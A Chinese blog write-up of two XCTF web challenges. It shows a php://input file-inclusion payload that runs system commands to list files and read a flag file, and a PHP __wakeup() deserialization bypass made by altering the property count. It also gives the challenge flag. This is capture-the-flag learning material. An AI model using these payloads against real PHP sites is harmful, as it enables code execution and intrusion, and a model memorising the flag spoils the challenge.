【攻防世界】进阶区write up7~12(二)(持续更新中...

本文探讨了PHP中序列化和反序列化原理,特别是利用unserialize函数的__wakeup漏洞,通过构造恶意序列化字符串获取flag。案例中展示了如何构造URL并利用Burp Suite或Hackbar进行攻击。同时,强调了安全措施的重要性,如防范此类Web PHP注入漏洞。
摘要由CSDN通过智能技术生成

7.Web_php_include

 

1.php://input 伪协议 

php://input可用于执行php代码,构建url为111.200.241.244:59834?page=PHP://input,使用hackbar或burp抓包,使用post方式传递代码。<?php system('ls'); ?>   列出文件目录

 <?php system('cat fl4gisisish3r3.php'); ?>   查看该文件,可得到flag (单双引号都可)

在查看器里查看flag!!!!!!!!! 

 注意:用bp先构建url再进行抓包,而hackbar先抓包,后构建!!!!!!!!!

 12.unserialize3


这是一道反序列化题,那什么是反序列化呢?什么又是序列化?

 ​ 序列化是将对象状态转换为可保持或可传输的格式的过程。与序列化相对的是反序列化,它将流转换为对象。这两个过程结合起来,可以轻松地存储和传输数据。

序列化通俗来讲就是将对象转化为可以传输的字符串;

反序列化就是把那串可以传输的字符串再变回对象。

序列化格式:

O:object对象 4:对象的函数名有四个占位 info:对象名 2:变量个数 s:string类型(i为int型)4:变量名占位 19:变量值

魔法函数:

__constuct()    在创建对象是自动调用

__destuct()  相当于c++中的析构最后会将对象销毁,所以在对象销毁时 被调用

__toString()    但一个对象被当成字符串使用时被调用

__sleep()   当对象被序列化之前使用

__wakeup()  将在被序列化后立即被调用
 

本题中用到了_wakeup(),执行unserialize()时,先会调用这个函数

unserialize()会检查是否存在一个 __wakeup()方法。如果存在,则会先调用 __wakeup方法,预先准备对象需要的资源。serialize()函数会检查类中是否存在一个魔术方法__sleep()  ,若存在,同上。

__wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。

__wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数。

本题中也是这样的思路,将这个对象进行序列化传值,修改其属性这样就可以进行绕过__wakeup了 

<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$c = new xctf();
print(serialize($c));
 
?>


结果:O:4:"xctf":1:{s:4:"flag";s:3:"111";},修改变量个数即可绕过_wakeup()

当被反序列化的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得_wakeup()函数失效。

flag:the answer is : cyberpeace{e6d1bdd16412171ac08f577aa70aa575}
 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值